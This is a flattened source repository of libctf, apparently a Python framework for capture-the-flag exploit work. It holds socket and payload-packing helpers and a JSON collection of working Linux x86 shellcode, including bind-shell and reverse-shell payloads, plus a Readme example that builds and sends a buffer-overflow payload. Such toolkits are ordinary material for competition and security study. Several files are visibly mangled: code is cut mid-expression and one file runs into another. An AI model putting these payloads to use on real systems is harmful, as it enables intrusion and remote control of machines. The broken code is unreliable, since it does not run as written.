├── .gitignore ├── libctf ├── __init__.py ├── ansi.py ├── process.py ├── pattern.py ├── data.py ├── shellcode.py └── sock.py ├── setup.py ├── bin ├── ctf-run └── ctf-payload ├── LICENSE ├── Readme.md └── data └── shellcode.json /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | build 3 | -------------------------------------------------------------------------------- /libctf/__init__.py: -------------------------------------------------------------------------------- 1 | from sock import * 2 | from data import * 3 | from shellcode import * 4 | from pattern import * 5 | 6 | try: 7 | # Try to import the ipython interactive shell 8 | from IPython import embed as ipython # drop to interactive shell 9 | except ImportError as e: 10 | import sys 11 | sys.stderr.write('Warning: IPython embed could not be imported') 12 | 13 | 14 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from distutils.core import setup 4 | 5 | setup(name='libctf', 6 | version='0.2', 7 | description="lightweight CTF and exploit development framework", 8 | author='Marcus Hodges', 9 | author_email='0xmeta@gmail.com', 10 | url='http://rootfoo.org', 11 | license="MIT", 12 | packages=['libctf'], 13 | package_data={'libctf': ['data/shellcode.json']}, 14 | scripts=['bin/ctf-payload', 'bin/ctf-run'] 15 | ) 16 | -------------------------------------------------------------------------------- /libctf/ansi.py: -------------------------------------------------------------------------------- 1 | 2 | ANSI_HEADER = '\033[95m' 3 | ANSI_OKBLUE = '\033[94m' 4 | ANSI_OKGREEN = '\033[92m' 5 | ANSI_WARNING = '\033[93m' 6 | ANSI_FAIL = '\033[91m' 7 | ANSI_ENDC = '\033[0m' 8 | ANSI_BOLD = '\033[1m' 9 | ANSI_UNDERLINE = '\033[4m' 10 | 11 | ANSI_B_BLACK = '\033[40m' 12 | ANSI_B_RED = '\033[41m' 13 | ANSI_B_GREEN = '\033[42m' 14 | ANSI_B_YELLOW = '\033[43m' 15 | ANSI_B_BLUE = '\033[44m' 16 | ANSI_B_MAGENTA = '\033[45m' 17 | ANSI_B_CYAN = '\033[46m' 18 | ANSI_B_WHITE = '\033[47m' 19 | ANSI_B_RESET = '\033[49m' 20 | 21 | ANSI_F_BLACK = '\033[30m' 22 | ANSI_F_RED = '\033[31m' 23 | ANSI_F_GREEN = '\033[32m' 24 | ANSI_F_YELLOW = '\033[33m' 25 | ANSI_F_BLUE = '\033[34m' 26 | ANSI_F_MAGENTA = '\033[35m' 27 | ANSI_F_CYAN = '\033[36m' 28 | ANSI_F_WHITE = '\033[37m' 29 | ANSI_F_RESET = '\033[39m' 30 | 31 | 32 | -------------------------------------------------------------------------------- /bin/ctf-run: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | # defaults 4 | PORT=8989 5 | TRACE="" 6 | 7 | 8 | usage(){ 9 | echo "$0 [options] application [arguments]" 10 | echo " " 11 | echo "Run program with socat and, optionally, ltrace or strace" 12 | echo " -h show brief help" 13 | echo " -l debug with ltrace -if" 14 | echo " -s debug with strace -if" 15 | } 16 | 17 | 18 | while getopts 'p:ls' param ; do 19 | case $param in 20 | p) 21 | PORT="$OPTARG" 22 | ;; 23 | 24 | l) 25 | TRACE="ltrace -if" 26 | ;; 27 | 28 | s) 29 | TRACE="strace -if" 30 | ;; 31 | 32 | *) 33 | usage; 34 | exit 0 35 | ;; 36 | esac 37 | done 38 | 39 | # shift past options 40 | shift $(( $OPTIND - 1 )) 41 | 42 | # ensure program file exists and is executable (strace will error but ltrace wont) 43 | if [ ! -x "$1" ]; then 44 | usage 45 | exit 0 46 | fi 47 | 48 | # program with arguments 49 | if [ "$TRACE" != "" ]; then 50 | PROG="$TRACE $@" 51 | else 52 | PROG="$@" 53 | fi 54 | 55 | # exec program with socat 56 | exec socat -v tcp4-l:$PORT,fork,reuseaddr exec:"'$PROG'" 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2014-Present Marcus Hodges 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /libctf/process.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE 2 | import fcntl 3 | import os 4 | import time 5 | import signal 6 | 7 | class Process(object): 8 | """ 9 | open a process with non-blocking stdin 10 | unlike commuinicate() will allow interactive communication without 11 | waiting for the process to exit 12 | """ 13 | 14 | def __init__(self, exe): 15 | self.exe = exe 16 | self.process = Popen(exe, stdout=PIPE, stdin=PIPE, stderr=PIPE) 17 | self._set_non_blocking(self.process.stdout) 18 | 19 | def _set_non_blocking(self, handle): 20 | fd = handle.fileno() 21 | fl = fcntl.fcntl(fd, fcntl.F_GETFL) 22 | fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK) 23 | 24 | def read(self): 25 | try: 26 | return self.process.stdout.read() 27 | except: 28 | return "" 29 | 30 | def write(self, data): 31 | self.process.stdin.write(data) 32 | 33 | 34 | def run(self, sleep=.5): 35 | r = self.process.poll() 36 | time.sleep(sleep) 37 | if self.process.returncode == -signal.SIGSEGV: 38 | print "SIGSEGV" 39 | else: 40 | print self.process.returncode 41 | return r 42 | 43 | def attach_gdb(self): 44 | raw_input("attach gdb now: \n $ gdb -p {pid}\n (gdb) attach {pid}\n".format(pid=self.process.pid)) 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | Libctf is a CTF framework written by meta of the Neg9 CTF team. The framework is a collection of tools and python libraries to simplify exploit development and many of the other tasks frequently performed during a CTF. 4 | 5 | # Example 6 | 7 | from libctf import * 8 | shelldb = ShellcodeDB() 9 | print shelldb.list() 10 | shellcode = shelldb.get('linux x86 execve 1') 11 | sock = Sock('localhost',9090) 12 | sock.verbose = True 13 | payload = pack('A'*100, 0x11223344, shellcode) 14 | print hexdump(payload) 15 | sock.recv() 16 | sock.send(payload) 17 | sock.interact() 18 | 19 | 20 | # Install 21 | 22 | ## From outside the project directory 23 | ``` 24 | sudo pip install libctf 25 | ``` 26 | 27 | ## From the directory containing setup.py 28 | ``` 29 | sudo pip install . 30 | ``` 31 | 32 | ## Verify 33 | ``` 34 | pip show photorg 35 | ``` 36 | 37 | ## Uninstall 38 | ``` 39 | sudo pip uninstall photorg 40 | ``` 41 | 42 | ## Developer install, add project folder to python path 43 | ``` 44 | sudo pip install -e . 45 | ``` 46 | 47 | ## Developer uninstall 48 | 49 | Remove path entry from 50 | ``` 51 | /usr/local/lib/python2.7/dist-packages/easy-install.pth 52 | ``` 53 | Delete link file 54 | ``` 55 | rm /usr/local/lib/python2.7/dist-packages/libctf.egg-link 56 | ``` 57 | -------------------------------------------------------------------------------- /libctf/pattern.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | uppercase = [chr(x) for x in xrange(65, 91)] 4 | lowercase = [chr(x) for x in xrange(97, 123)] 5 | digits = [str(x) for x in xrange(0, 10)] 6 | 7 | 8 | def pattern_gen(length): 9 | """ 10 | Generate a pattern of a given length up to a maximum 11 | of 20280 - after this the pattern would repeat 12 | """ 13 | # Credit: patterm code adapted from Eugene Ching 14 | # https://github.com/eugeneching/exploit-pattern 15 | pattern = '' 16 | for upper in uppercase: 17 | for lower in lowercase: 18 | for digit in digits: 19 | if len(pattern) < length: 20 | pattern += upper+lower+digit 21 | else: 22 | return pattern[:length] 23 | 24 | 25 | 26 | def pattern_search(search_pattern): 27 | """ 28 | Search for search_pattern in pattern. Convert from hex if needed 29 | Looking for needle in haystack 30 | """ 31 | # Credit: patterm code adapted from Eugene Ching 32 | # https://github.com/eugeneching/exploit-pattern 33 | needle = search_pattern 34 | try: 35 | if needle.startswith('0x'): 36 | # Strip off '0x', convert to ASCII and reverse 37 | needle = needle[2:].decode('hex') 38 | needle = needle[::-1] 39 | except TypeError as e: 40 | sys.stderr.write('Unable to convert hex input: {e}\n'.format(e=e)) 41 | sys.exit(1) 42 | 43 | haystack = '' 44 | for upper in uppercase: 45 | for lower in lowercase: 46 | for digit in digits: 47 | haystack += upper+lower+digit 48 | found_at = haystack.find(needle) 49 | if found_at > -1: 50 | return found_at 51 | 52 | #sys.stderr.write("Couldn't find {p} ({n}) anywhere in the pattern.".format(p=search_pattern, n=needle)) 53 | return -1 54 | 55 | 56 | -------------------------------------------------------------------------------- /bin/ctf-payload: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | from libctf import * 5 | 6 | 7 | help_msg = """\ 8 | Usage: {prog} [-aN] [-pN] [-sN] [0xADDR] ["STRING"] [-f PATTERN] 9 | -a N "A"*N 10 | -l List all shellcodes 11 | -s N Shellcode #N from shellstorm database 12 | -p N N bytes of cyclic pattern 13 | -f PATTERN Find offset of PATTERN 14 | 0xADDR packed form of an integer (e.g. 0x41424344 --> "\\x44\\x43\\x42\\x41") 15 | "STRING" String literal (quotes removed by shell) 16 | 17 | """ 18 | 19 | 20 | 21 | def split_argv(options, argv): 22 | """ 23 | sys.argv is split on spaces: ["-x100", "-a", "20"] 24 | This function splits it on options as well: ["-x", "100", "-a", "20"] 25 | """ 26 | data = [] 27 | for x in argv: 28 | for o in options: 29 | if x.startswith(o): 30 | parts = x.split(o) 31 | if len(parts) == 2 and parts[1]: 32 | data += (o, parts[1]) 33 | break 34 | else: 35 | data.append(x) 36 | return data 37 | 38 | 39 | 40 | def usage(): 41 | sys.stderr.write(help_msg.format(prog=sys.argv[0])) 42 | sys.exit(1) 43 | 44 | 45 | 46 | if __name__=='__main__': 47 | 48 | if len(sys.argv) < 2: 49 | usage() 50 | 51 | # shellcode database 52 | #shellcode = Shellcode() 53 | 54 | # iterate argv 55 | parts = [] 56 | options = ['-a','-l','-f','-p','-s'] 57 | argv = iter(split_argv(options, sys.argv[1:])) 58 | for arg in argv: 59 | try: 60 | 61 | # list shellcodes 62 | if arg == '-l': 63 | shellcode.pprint() 64 | sys.exit(0) 65 | 66 | # Pattern search 67 | elif arg == '-f': 68 | val = next(argv) 69 | offset = pattern_search(val) 70 | if offset >= 0: 71 | print "Pattern at offset: {0}".format(offset) 72 | else: 73 | print "Pattern not found" 74 | sys.exit(0) 75 | 76 | # Pattern create 77 | elif arg == '-p': 78 | n = int(next(argv)) 79 | parts.append(pattern_gen(n)) 80 | 81 | # AAAA 82 | elif arg == '-a': 83 | n = int(next(argv)) 84 | parts.append('A'*n) 85 | 86 | # shellcode 87 | elif arg == '-s': 88 | n = int(next(argv)) 89 | parts.append(shellcode.get(n)) 90 | 91 | # hex address 92 | elif arg.startswith('0x'): 93 | parts.append(int(arg,16)) 94 | 95 | # string literal 96 | else: 97 | parts.append(arg) 98 | 99 | except StopIteration as e: 100 | usage() 101 | 102 | except ValueError as e: 103 | usage() 104 | 105 | # pack and write to stdout 106 | sys.stdout.write(rop(*parts)) 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | -------------------------------------------------------------------------------- /libctf/data.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import string 3 | 4 | 5 | def pack64(num): 6 | """struct.pack 64-bit int""" 7 | return struct.pack(' 0) else struct.pack(' 0) else struct.pack(' 0: 67 | row_count += 1 68 | 69 | rows = [] 70 | # row length includes 2 chars for hex and 1 for spaces 71 | rowlen = columns*(2*blocksize+1) 72 | # printable chars, in this context, dont include whitespace 73 | printable = string.digits + string.letters + string.punctuation 74 | 75 | for i in range(0, row_count): 76 | start = i*columns 77 | ascii_string = '' 78 | row = '' 79 | # add the hex 80 | for block in blocks[start:start+columns]: 81 | row += block.encode('hex') + ' ' 82 | ascii_string += ''.join([x if x in printable else ' ' for x in block]) 83 | # pad last row with spaces so ascii strings align 84 | rows.append(row.ljust(rowlen) + ascii_string) 85 | 86 | return '\n'.join(rows) 87 | 88 | 89 | def partition(data, indecies): 90 | """partitions the data into a list split at every index in indecies""" 91 | splitdata = [data[:indecies[0]]] 92 | splitdata += [data[indecies[i-1]:indecies[i]] for i in range(1,len(indecies))] 93 | splitdata.append(data[indecies[-1]:]) 94 | return splitdata 95 | 96 | 97 | def splitevery(s, n): 98 | """splits a string every num chars and return the list""" 99 | return [s[x:x+n] for x in range(0,len(s), n)] 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /data/shellcode.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "name" : "linux_32_execve_1", 3 | "quick" : "execve /bin/sh - 21 bytes", 4 | "platform" : "Linux x86", 5 | "url" : "http://shell-storm.org/shellcode/files/shellcode-575.php", 6 | "author" : "Geyslan G. Bem", 7 | "shellcode" : "agtYmVJoLy9zaGgvYmluieMxyc2A" 8 | },{ 9 | "name" : "linux_32_execve_2", 10 | "quick" : "execve /bin/sh - 21 bytes", 11 | "platform" : "Linux x86", 12 | "url" : "http://shell-storm.org/shellcode/files/shellcode-841.php", 13 | "author" : "Geyslan G. Bem", 14 | "shellcode" : "Mcn34bALUWgvL3NoaC9iaW6J482A" 15 | },{ 16 | "name" : "linux_32_execve_3", 17 | "quick" : "close(0), open('/dev/tty'), execve('/bin/sh')", 18 | "description" : "Local shellcode for stdin re-open and /bin/sh exec. It closes stdin descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. Useful to exploit some gets() buffer overflows in an elegant way...", 19 | "platform" : "Linux x86", 20 | "url" : "http://www.exploit-db.com/exploits/13357/", 21 | "author" : "Marco Ivaldi", 22 | "shellcode" : "McAx27AGzYBTaC90dHloL2RldonjMclmuRInsAXNgDHAUGgvL3NoaC9iaW6J41BTieGZsAvNgA==" 23 | },{ 24 | "name" : "linux_32_hello_world", 25 | "quick" : "write(1, 'hello world', ...)", 26 | "platform" : "Linux x86", 27 | "url" : "http://lucifer.phiral.net/shellcode.htm", 28 | "author" : "unknown", 29 | "shellcode" : "McAx2zHJMdKwBLMB6wVZsg3NXHg4MOj2////SGVsbG8gV29ybGQgIQ==" 30 | },{ 31 | "name" : "linux_32_tcp_bind_1", 32 | "quick":"TCP bind shellcode (port 11111)", 33 | "platform" : "Linux x86", 34 | "url":"http://shell-storm.org/shellcode/files/shellcode-836.php", 35 | "author":"Geyslan G. Bem", 36 | "shellcode":"Mdv347BmQ1JTagKJ4c2AW15SZmgrZ2oQUVCwZonhzYCJUQSwZrMEzYCwZkPNgFmTaj9YzYBJefiwC2gvL3NoaC9iaW6J40HNgA==", 37 | "params":{ 38 | "port":{ 39 | "default":11111, 40 | "offset":20 41 | } 42 | } 43 | },{ 44 | "name" : "linux_32_reverse_tcp_1", 45 | "quick":"Reverse TCP connect (IP, Port=11111)", 46 | "platform" : "Linux x86", 47 | "url":"http://shell-storm.org/shellcode/files/shellcode-838.php", 48 | "author":"Geyslan G. Bem", 49 | "shellcode":"Mdv347BmQ1JTagKJ4c2AWZOwP82ASXn5sGZorB+XL2ZoK2dmagKJ4WoQUVOJ4c2AsAtSaC8vc2hoL2JpbonjMcnNgA==", 50 | "params":{ 51 | "ipv4":{ 52 | "default":"127.0.0.1", 53 | "offset":27 54 | }, 55 | "port":{ 56 | "default":11111, 57 | "offset":33 58 | } 59 | } 60 | },{ 61 | "name" : "linux_32_read_flag_1", 62 | "quick":"open('flag'), read, write(stdout)", 63 | "platform" : "Linux x86", 64 | "url":"http://shell-storm.org/shellcode/files/shellcode-842.php", 65 | "author":"Geyslan G. Bem", 66 | "note":"Original shellcode read /etc/password, modified by Marcus Hodges to read ./flag", 67 | "shellcode":"Mcn34bAFUWhmbGFniePNgJORsAMx0ma6/w9CzYCSMcCwBLMBzYCTzYA=" 68 | },{ 69 | "name" : "linux_32_read_flag_2", 70 | "quick":"open('flag.txt'), read, write(stdout)", 71 | "platform" : "Linux x86", 72 | "url":"http://shell-storm.org/shellcode/files/shellcode-842.php", 73 | "author":"Geyslan G. Bem", 74 | "note":"Original shellcode read /etc/password, modified by Marcus Hodges to read ./flag.txt", 75 | "shellcode":"Mcn34bAFUWgudHh0aGZsYWeJ482Ak5GwAzHSZrr/D0LNgJIxwLAEswHNgJPNgA==" 76 | }] 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /libctf/shellcode.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import pkgutil 3 | import json 4 | #from capstone import * 5 | from data import splitevery 6 | import struct 7 | import socket 8 | 9 | JSON_FILE = 'shellcode.json' 10 | factory = None 11 | JSON_FILE = '/usr/local/lib/python2.7/dist-packages/libctf/shellcode.json' 12 | 13 | def iptoint(ip): 14 | """convert IPv4 address to integer""" 15 | return int(socket.inet_aton(ip).encode('hex'),16) 16 | 17 | 18 | def inttoip(ip): 19 | """convert integer to IPv4 address""" 20 | return socket.inet_ntoa(hex(ip)[2:].decode('hex')) 21 | 22 | 23 | def disassemble(shellcode, offsets=True, opcodes=True, dissas=True): 24 | cs = Cs(CS_ARCH_X86, CS_MODE_32) 25 | address = 0x00 26 | instructions = cs.disasm(shellcode, address) 27 | ins_list = [] 28 | justify_width = 16 29 | for insn in instructions: 30 | offset = "{0:08x}:".format(insn.address) if offsets else "" 31 | bytestr = ' '.join(splitevery(str(insn.bytes).encode('hex'), 2)).ljust(justify_width) if opcodes else "" 32 | bytestr += " :" if bytestr else "" 33 | asm = "{0} {1}".format(insn.mnemonic, insn.op_str) if dissas else "" 34 | print "{0} {1} {2}".format(offset, bytestr, asm) 35 | ins_list.append(insn) 36 | return ins_list 37 | 38 | 39 | 40 | class ShellcodeFactory(object): 41 | 42 | def __init__(self, json_path=None): 43 | self._path = json_path 44 | self._json = None 45 | 46 | # load json data from file 47 | if json_path: 48 | with open(json_path) as fh: 49 | self._json = json.load(fh) 50 | 51 | # try to load json data from installation directory 52 | elif __package__: 53 | data = pkgutil.get_data(__package__, JSON_FILE) 54 | self._json = json.loads(data) 55 | 56 | else: 57 | raise(Exception("JSON file could not be found")) 58 | 59 | 60 | def get(self, key, **kwargs): 61 | j = None 62 | 63 | # get shellcode by index 64 | if type(key) == int: 65 | j = self._json[key] 66 | 67 | # get shellcode from list by name 68 | else: 69 | j = filter(lambda d: d['name']==key, self._json)[0] 70 | 71 | # set params 72 | if 'params' in j: 73 | for k,d in j['params'].iteritems(): 74 | if k in kwargs: 75 | d['value'] = kwargs[k] 76 | 77 | elif 'default' in d: 78 | d['value'] = d['default'] 79 | 80 | else: 81 | raise(Exception("error setting parameter value for " + k)) 82 | 83 | # return shellcode 84 | return Shellcode(j) 85 | 86 | 87 | 88 | def show(self, key=None): 89 | if not key is None: 90 | sc = self.get(key) 91 | sc.show() 92 | 93 | else: 94 | i = 0 95 | for sc in self._json: 96 | print "{index}: {name} - {quick}".format(index=i, name=sc['name'], quick=sc['quick']) 97 | i += 1 98 | 99 | 100 | 101 | 102 | def shellcode(name, **kwargs): 103 | """convenience function to find and return shellcode by name""" 104 | global factory 105 | if not factory: 106 | factory = ShellcodeFactory() 107 | return factory.get(name, **kwargs) 108 | 109 | 110 | 111 | class Shellcode(object): 112 | 113 | def __init__(self, json): 114 | self.__dict__ = json 115 | self.raw = self.shellcode.decode('base64') 116 | 117 | # apply parameters if specified 118 | if hasattr(self, 'params'): 119 | for name,vdict in self.params.iteritems(): 120 | value = vdict['value'] 121 | offset = vdict['offset'] 122 | 123 | # pack according to parameter type 124 | if name.lower() == 'ipv4': 125 | self.set(offset, iptoint(value), '>I') 126 | 127 | elif name.lower() == 'port': 128 | self.set(offset, value, '',data)) 52 | self._tail = '' 53 | 54 | return data 55 | 56 | 57 | def _read(self, count=4096): 58 | data = '' 59 | try: 60 | data = self.socket.recv(count) 61 | 62 | except socket.timeout: 63 | # timeout doesn't necesarily mean the connection is closed 64 | pass 65 | 66 | return data 67 | 68 | def _readall(self): 69 | # read all data from sock 70 | data = "" 71 | chunk = "" 72 | flag = True 73 | while flag: 74 | try: 75 | chunk = self.socket.recv(1024) 76 | except socket.timeout: 77 | chunk = "" 78 | finally: 79 | if len(chunk) > 0: 80 | data += chunk 81 | chunk = "" 82 | else: 83 | flag = False 84 | 85 | return data 86 | 87 | 88 | def recvuntil(self, premark, postmark="\n"): 89 | """ 90 | Read until premark in mesg. Return string between premark and postmark. 91 | TODO: add support for regex 92 | """ 93 | # self._tail caches data read but not yet returned. May be part of next read 94 | while not premark in self._tail: 95 | self._tail += self._readall() 96 | 97 | start = self._tail.find(premark) + len(premark) 98 | end = self._tail.find(postmark, start) 99 | sub = self._tail[start:end] 100 | self._tail = self._tail[end:] 101 | 102 | return sub 103 | 104 | 105 | def send(self, data): 106 | """alias for write()""" 107 | self.write(data) 108 | 109 | 110 | def sendline(self, data): 111 | """write(data + "\n")""" 112 | self.write(data, newline="\n") 113 | 114 | 115 | def sr(self, data=''): 116 | """send(data) && return recv()""" 117 | if data: 118 | self.write(data) 119 | return self.read() 120 | 121 | 122 | def write(self, data, newline=''): 123 | newline = newline or self.newline 124 | try: 125 | data += newline 126 | self.socket.send(data) 127 | self.history.append(('<',data)) 128 | 129 | if self.verbose: 130 | sys.stdout.write(self._send_color + data + ansi.ANSI_ENDC) 131 | #print hexdump(data) 132 | 133 | return data 134 | 135 | except Exception as e: 136 | self.socket.close() 137 | self._closed = True 138 | 139 | 140 | def close(self): 141 | self.socket.close() 142 | 143 | def reconnect(self): 144 | self.socket.close() 145 | self.socket = socket.socket(self._family, self._stype) 146 | self.socket.settimeout(2) 147 | self.socket.connect((self._host,self._port)) 148 | 149 | 150 | def interact(self, newline="\n"): 151 | 152 | while True: 153 | try: 154 | # It would be nice to have a prompt, but it's tricky to add 155 | #sys.stdout.write('$> ') 156 | #sys.stdout.flush() 157 | 158 | # Wait for input from stdin & socket 159 | input_ready,output_ready,except_ready = select.select([sys.stdin, self.socket], [],[]) 160 | 161 | # loop over the file handles with input 162 | for i in input_ready: 163 | if i == sys.stdin: 164 | data = sys.stdin.readline() 165 | # patch up newlines 166 | if not data.endswith(newline): 167 | data = data.strip('\n') + newline 168 | 169 | if data: 170 | self.history.append(('<', data)) 171 | self.socket.send(data) 172 | elif i == self.socket: 173 | data = self.socket.recv(1024) 174 | if data: 175 | self.history.append(('>', data)) 176 | sys.stdout.write(data) 177 | sys.stdout.flush() 178 | 179 | except KeyboardInterrupt: 180 | break 181 | 182 | except socket.error as msg: 183 | print msg 184 | break 185 | 186 | 187 | 188 | 189 | 190 | --------------------------------------------------------------------------------